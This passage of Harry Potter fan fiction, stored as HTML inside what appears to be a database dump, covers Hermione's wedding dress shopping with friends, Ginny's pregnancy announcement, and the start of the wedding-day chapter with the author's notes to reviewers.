bridesmaids.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you decided which of\nus will be your maid of honor?&#8221; Grace asked, sidling up to Hermione and casting\na conspiratorial wink at Lavender. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes.&#8221; Hermione answered\nsmugly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;WHO?&#8221; they both crowed at\nonce.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Both of you.&#8221; She stated.\n&#8220;As if I could decide between you two.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Lavender asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really really.&#8221; Hermione\nanswered. &#8220;Honestly, Grace, you&#8217;ve taken care of me for nine years, and Lav,\nyou were my best friend before that. So you&#8217;re both like my maids of honor.&#8221;\nHermione paused. &#8220;Do you think it&#8217;s right to make Caitlyn a junior bridesmaid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course it is!&#8221; Lavender\nanswered. Grace nodded as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup.&#8221; Lavender pushed aside\na pile of dresses. &#8220;So that means, we need to find four nice dresses that fit\nGrace, Ginny and I, and one for Caitlyn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And first and foremost, one\nfor you!&#8221; Grace interrupted. &#8220;What exactly are you looking for?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed. &#8220;Something\nnice, but not too fancy, perhaps with lace and beads&#8230;.&#8221; She trailed off as her\neyes spied something. &#8220;Something like this&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh!&#8221; Grace and Lavender\nboth sighed as Hermione pulled the dress off the rack. &#8220;Go put that on right\nnow!&#8221; Grace said, as Lavender spun Hermione around by the shoulders towards the\ndressing rooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once inside, Hermione\nquickly stripped herself of her clothing and carefully pulled on the delicate\ndress. She looked at herself in the mirror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gorgeous, my dear!&#8221; the\nmirror trilled and Hermione smiled widely.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; She said as she\nstepped out of the dressing room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s the dress.&#8221; Lavender\nsaid immediately. Grace nodded her agreement. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You think so?&#8221; Hermione\nasked. &#8220;I like it a lot.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you don&#8217;t get it, I&#8217;m\ngoing to beat some sense into you.&#8221; Grace replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed. &#8220;Well I\nguess that settles it then.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madam Malkin glided over.\n&#8220;Beautiful, my dear, just lovely.&#8221; She said. &#8220;I don&#8217;t&#8217; think we even need to\ntake it in anywhere, it&#8217;s like it was made for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded. &#8220;I&#8217;ll take\nit.&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fifteen minutes later, Madam\nMalkin had the dressed wrapped securely in a box, and Lavender offered to take\nit home with her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t want to take it\nback to your place, Harry shouldn&#8217;t see it till you&#8217;re walking down the aisle.&#8221;\nShe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione agreed, and they\nleft the shop to have a bite to eat. Hopping over to The Leaky Cauldron, they\ntook a table outside, determined to enjoy the sunny day. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace leaned back in her\nchair, letting the sun warm her face. She lifted her hand to push back her\nhair, and a ring on her left hand glinted in the sun.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed. &#8220;I still\ncannot believe you and Justin Finch Fletchley got married.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh my God, me either.&#8221;\nLavender said. &#8220;I mean, talk about getting someone to settle down!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Grace said in\ndefense. &#8220;It was on a whim, and I happen to actually enjoy being married.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That I can&#8217;t believe\neither.&#8221; Hermione snorted and took a sip of her drink. &#8220;You, married. That&#8217;s\nsomething I never thought I&#8217;d see.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender laughed. &#8220;Justin, I\nremember him telling Ron just last month about how nice it was to be a\nbachelor&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace scowled at both of\nthem. &#8220;Hey! Justin happens to be a perfect husband!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Awww Grace, I&#8217;m sorry.&#8221;\nHermione said, grinning at her. &#8220;It&#8217;s just my turn to give you a hard time\nabout something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Har de har har&#8230;.&#8221; Grace\nsaid. &#8220;That&#8217;s so funny I forgot to laugh.&#8221; She smirked at Hermione. &#8220;Speaking\nof hard, I could say something about you and Harry right now&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace!!&#8221; Hermione shouted.\nLavender stifled her giggles behind her hand as their food arrived, preventing\nany future retaliation by either party. Hermione grinned good-naturedly at\nGrace as they all dug into their lunches.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know,&#8221; Lavender said\nafter a few moments. &#8220;I guess this squelches all those rumors that Justin is\ngay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione dropped her fork\nand doubled over in laughter. &#8220;Lavender!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace glared at them both.\n&#8220;I don&#8217;t find this funny, that you guys thought he was gay. He is NOT gay!&#8221; she\ngot up and threw her napkin down. &#8220;I&#8217;m going to the bathroom.&#8221; She marched off\nin a huff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked after\nGrace&#8217;s retreating figure. &#8220;Wow I think she&#8217;s actually mad.&#8221; She looked over at\nLavender. &#8220;I think we&#8217;d better lay off.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Lavender agreed. She\nhad only met Grace a few days before; she certainly didn&#8217;t want the woman to\nhate her. At that moment, her Wizarding Wireless phone rang. &#8220;Hello?&#8221; Hermione\nlooked at her curiously. &#8220;Hi! We&#8217;re sitting at the Leaky Cauldron, come on\nover, we&#8217;re going to be picking out dresses so we need you here anyways. Okay,\nsee you in a bit.&#8221; She hung it up and looked back at Hermione. &#8220;Ginny&#8217;s meeting\nus here in a few minutes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh great.&#8221; Hermione said as\nGrace came back from the bathroom. &#8220;Grace are you all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine.&#8221; Grace said simply,\npicking her fork back up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re sorry.&#8221; Hermione\nsaid. Lavender nodded. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We won&#8217;t make fun of Justin\nanymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,&#8221; Grace said and her\nlips twitched. &#8220;I guess it is sort of funny though.&#8221; All three of them were\nstill laughing again as Ginny joined them a few minutes later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did I miss?&#8221; she\nasked, slipping into a chair and setting her bag down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh nothing.&#8221; Lavender said\nquickly, not wanting to start everything back up again. &#8220;We were just finishing\nlunch, and we&#8217;ll go pick out the dresses we need.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sounds good.&#8221; Ginny said.\nShe looked over at Hermione. &#8220;Herm, when is the date again?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Next month.&#8221; Hermione\nanswered. &#8220;Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny couldn&#8217;t help the\nsmile that crossed her face. &#8220;Well&#8230;&#8221; she began. &#8220;I&#8217;ve been feeling really sick\na lot so I went to the doctor, and it turns out I&#8217;m two months pregnant!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;OH M GOD!&#8221; Lavender was the\nfirst to scream. &#8220;I&#8217;m going to be an aunt again!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ginny, that&#8217;s fantastic.&#8221;\nHermione said, genuinely happy for her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Congratulations.&#8221; Grace\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I don&#8217;t want to be\nyour fat bridesmaid.&#8221; Ginny said, smirking at Hermione. &#8220;So I&#8217;m glad you and\nHarry aren&#8217;t waiting too long to get remarried.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes.\n&#8220;I&#8217;m so sure you could look fat even when you&#8217;re pregnant Ginny.&#8221; She leaned\nforward and hugged her. &#8220;I&#8217;m really happy for you guys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks you guys.&#8221; Ginny\nsaid, smiling at each one of them in turn. &#8220;You should have seen Seamus when\nthe doctor told us, I thought he was going to have a heart attack, he was so\nexcited.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s so cute.&#8221; Lavender\nsaid. &#8220;You should see him around Blue, he loves kids.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wonder if Harry and I\nwill have any more?&#8221; Hermione mused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, it&#8217;s not for lack of\ntrying, eh?&#8221; Grace finally spoke up. She gave Hermione a devilish look.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, just try to win a\nbattle of wits with this one!&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few moments later, their\nbill came and they paid, and then went down the street to another dress shop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What sort of color are you\nlooking for?&#8221; Lavender asked. Hermione looked thoughtful for a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, nothing light\ncolored, since you and Grace and both blond,&#8221; she mused. &#8220;And nothing too\nflashy&#8230;how about a nice blue color?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I like blue.&#8221; Grace said.\nGinny nodded. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blue goes well with my hair\ncolor.&#8221; She said. Lavender and Grace both nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I do have one\nrequest, then you guys can pick whatever you want.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; the other three\nwomen turned to look at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That you guys pick out\nsomething nice, because my daughter,&#8221; Hermione said this part proudly, &#8220;Has to\nwear it as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; Lavender said.\nThe rest of that afternoon was spent trying on and rejecting literally hundreds\nof gowns for the three of them, Hermione doing the most objecting to the\nstrapless numbers they kept sneaking in. After that, they had to find shoes,\nwhich took another few hours. By that evening, and late evening at that,\nHermione was so relieved to leave all three of them behind she could barely\nwave goodbye as she let herself into the flat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Harry said brightly\nas she stepped, rather fell, into their living room. &#8220;Have you been shopping\nall day?&#8221; he asked incredulously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, we have.&#8221; Hermione\nsaid tiredly as she flopped down next to him on the couch. He put his arm\naround her shoulder and pulled her close to him, kissing her on the side of the\nhead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Guess what?&#8221; Harry sounded\nstrangely excited.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm?&#8221; Hermione asked.\n&#8220;What&#8217;s got you so worked up this evening?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I found our song!&#8221; he\nexclaimed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled at him. &#8220;Did\nyou?&#8221; He stood up, pulling her along with him. &#8220;What song?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry flipped on the Muggle\ncd player and the low sounds of a Spanish guitar filled the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes widened as\nshe recognized the song. &#8220;Oh, this is perfect!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Harry seemed happy\nand relieved she agreed. He gently pulled her into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, really.&#8221; Hermione\nanswered. She rested her head on Harry&#8217;s chest for a moment and let him support\nher. &#8220;I&#8217;m so tired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t you go to bed?&#8221;\nHarry said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I will.&#8221; She said\nand kissed him. &#8220;Will you do me a favor?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Harry replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Make me some tea and bring\nit in the bedroom?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled. &#8220;Of course.&#8221;\nHe said, and headed for the kitchen. Hermione went into the bedroom and tossed\nher shoes in the corner, then fell onto the bed. She was asleep before her head\nhit the pillow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry carefully carried the\nsteaming mug down the hallway to their bedroom. &#8220;Hermione I have your tea.&#8221; He\nstopped as he saw her sleeping form on the bed. Smiling, he set the mug down\nand cast a charm to keep it warm in case she woke up and wanted it. Harry then\ngently pulled a blanket up and over her body so she wouldn&#8217;t get cold, then\nkneeled down next to the bed and smoothed her hair back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s times like this I\nthink I&#8217;m the luckiest man in the world.&#8221; Harry spoke in a low tone as to not\nwake her. &#8220;There&#8217;s no way I&#8217;m ever letting anything happen to you again, I love\nyou too much to lose you.&#8221; He bent over and kissed her forehead, letting his\nlips linger on her soft skin for a few moments. &#8220;You and Caty are my life,\nalways will be.&#8221; He stood back up and went back to the living room to finish\nhis work, and then he&#8217;d go to bed himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later that night, Hermione\nwoke up, and tried to stretch, but something was holding her back. Turning her\nhead, she smiled to see Harry lying asleep behind her, and he had spooned her\nbody with his. His arm was hooked across her middle, preventing her from\ngetting up. She looked back on the nightstand and saw the mug of tea he had\nmade for her, and her insides melted when she saw he had cast the warming charm\non it. Taking a long sip, she put it back on the nightstand and snuggled back\ninto Harry&#8217;s embrace. She pulled the blanket tighter around them and tucked her\nhand in his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so glad you found me\nHarry&#8230;&#8221; Hermione spoke softly. She listened to the steady sound of his\nbreathing, and loved him so much in that moment she could hardly bear it. &#8220;I&#8217;m\nso happy to be part of something again, having you and Caitlyn is more than I\nhoped for in these past ten years&#8230;&#8221; her voice drifted off as she became sleepy\nagain. &#8220;I love you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The next month and a half\npassed very quickly for Harry and Hermione. During this time, Harry arranged\nfor their honeymoon in Eze while Hermione took care of many of the\npreparations. Oliver was nice enough to hold the reception in his club, he even\npromised to enlarge the space to fit as many people as necessary, and he&#8217;d\nprovide the decorations. His DJ also would play the music for them, a good mix\nof Muggle and Wizard. Harry also took it upon himself to arrange for Caitlyn, Blue,\nand the rest of the Weasleys at Hogwarts to come home the weekend of the\nwedding. Hermione met with Grace, Lavender and Ginny often to make any last\nminute arrangements about the clothing for the wedding. Finally, however, it\nwas the eve before the ceremony.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry dropped his workload\non the table in the hallway. &#8220;Mione?&#8221; he called. &#8220;Are you home?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In the bedroom!&#8221; she\nreplied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My favorite place to see\nyou in.&#8221; Harry quipped, coming into the room and wrapping his arms around her\nwaist. He looked around and saw her packing a bag. &#8220;Where are you going?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To Ron and Lavender&#8217;s.&#8221;\nHermione replied. &#8220;You&#8217;re not allowed to see me after midnight, remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, to hell with\ntradition.&#8221; Harry replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stood up straight\nand looked him in the eye. &#8220;Harry, superstition or not, we don&#8217;t need any more\nbad luck, do we?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned. &#8220;I suppose\nyou&#8217;re right. But I&#8217;m going to be very lonely.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled at him. &#8220;But\nthink, love, tomorrow night, you&#8217;ll never be lonely after that.&#8221; She raised\nherself up and kissed him hard on the lips. &#8220;That&#8217;ll have to last you till you\nsee me walking down the aisle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, all right, you&#8217;d\nbetter go before I tie you up on the bed.&#8221; Harry said, grinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Keep that in mind for\ntomorrow.&#8221; Hermione said suggestively, then blew him a kiss and apparated out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat down on the bed\nand looked around the room. He simply could not wait till tomorrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(Ahhh, that&#8217;s a good place\nto leave it at huh? LOL well stay tuned for the next chapter, I hear wedding\nbells! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You will all find out the\nwedding song in the next chapter, of course, and if anyone is curious, Eze is a\nreal place in southern France, it&#8217;s just gorgeous.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While you&#8217;re waiting, check\nout the fics of Ryoko Blue, Lydia Silver Maiden, God of Fire, and ME! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Happy reading, and don&#8217;t\nforget to review, not flame! Thanks!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 14, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 14</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Wow, well it&#8217;s finally\nhere, the wedding!!! YAY!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">One more chapter after this\none *sniff* and then RTM is over, but then I&#8217;m going to do a sequel, centered\nmore on Caty and Blue, but there will be some definite H/H moments in there. Can&#8217;t\nhave a fic without them! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks again for all the\nreviews, you guys put me over the 300 mark! WOW!! I can&#8217;t tell you how\ndelighted that makes me!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spangle star: sorry, no\nEnrique here&#8230;but I love him too. God that man is dead sexy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thefly: yup. Fluff. That&#8217;s\nwhat life is made of ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermioneharry4ever: no one\nwill disrupt this wedding, not even the press! LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Janna rain Iscariot: LOL\nwhat cliffhanger? Heehee the wedding is going to be LONG so I had to make it\nit&#8217;s own chapter</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh, and the song you will\nneed to DL for this chapter is I Want To Spend My Lifetime Loving You, by Mark\nAnthony and Tina Arena, from the Mask of Zorro soundtrack. Enjoy!!!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was a bundle of\nnerves. &#8220;Lavender!&#8221; she shrieked, tearing open some of the boxes lying at the\nfoot of the bed. &#8220;Where are my shoes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender poked her head in\nthe room. &#8220;Hermione, settle down. They&#8217;re in the closet remember?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, right.&#8221; Hermione said,\nvisibly calming. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why are you so nervous\nHermione?&#8221; Lavender asked. &#8220;I mean, it&#8217;s not like this is your first wedding.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know.&#8221; Hermione sighed;\npulling the box from the closet that contained her shoes and sitting down on\nthe bed. &#8220;But this wedding is much larger, and more complicated than before.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll be fine.&#8221; Lavender said\nconfidently. &#8220;In the meantime, I know someone who wants to have you help her\nget ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your daughter, silly.&#8221;\nLavender replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Hermione was\npleased. &#8220;She asked for me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, want me to have her\ncome in here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Hermione replied,\nstanding up and going to the mirror, trying to figure out how she was going to\nwear her hair that day. A moment later, a soft knock was heard from the\ndoorway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hello.&#8221; Caitlyn said a bit\nshyly. &#8220;Can I come in?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; Hermione smiled\nat her. Ron had picked up all the kids from the station the night before (they\nhad arrived from the school) and now the house was packed to the brim with\nWeasleys. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn stepped into the\nroom, her arms full with her dress, hairpieces, shoes, and jewelry. She\ncarefully laid everything out next to Hermione&#8217;s new dress.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, I love your wedding\ngown!&#8221; she exclaimed, touching the delicate fabric with her finger. &#8220;Did you\npick this out?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I did.&#8221; Hermione\nreplied, sitting down on the bed again. &#8220;Although it was at Lavender and\nGrace&#8217;s insistence that I bought it. I wanted something different than last\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You had a small wedding\nbefore, right?&#8221; Caitlyn asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, very small, it was\nonly me, your father, Ron and Lavender, Sirius, and my parents.&#8221; Hermione\nreplied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow, that is small!&#8221;\nCaitlyn said, and smiled at her mother. &#8220;Can you help me get ready for today?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Certainly, I&#8217;d love to.&#8221;\nHermione said gladly. Caitlyn slid the pretty blue dress over her head and Hermione\nmoved behind her to zip it up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a beautiful color on\nyou.&#8221; Hermione commented, looking at her with pride. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn smiled widely back\nat her. &#8220;It&#8217;s my favorite color.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad.&#8221; Hermione said.\nShe reached out and smoothed back Caitlyn&#8217;s long brown locks, hair so much like\nhow hers used to be. &#8220;I think Grace and Lavender are wearing their hair down,\nis that how you want yours?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Caitlyn said, as\nHermione picked up a brush and began to work it through. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My hair used to be like this,\nyou know.&#8221; Hermione commented. &#8220;I can cast a charm to straighten it for today,\nif you like.&#8221; Caitlyn nodded and Hermione did just that, and now her hair hung\nhalfway down her back smoothly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looks like you are ready.&#8221;\nHermione smiled down at her daughter with a tear in her eye as she retrieved\none of the hairpieces (they were glittery like barrettes) and pinned it\nsecurely. &#8220;You look beautiful, Caitlyn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn stepped over and\nlooked at herself in the mirror. Her mother was right, she did look really\nnice, and she was excited to go off and show Blue, and her father when he\narrived. She turned from side to side, and the dress swirled softly around her.\nShe turned back to Hermione who was watching her with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Mum.&#8221; She said, 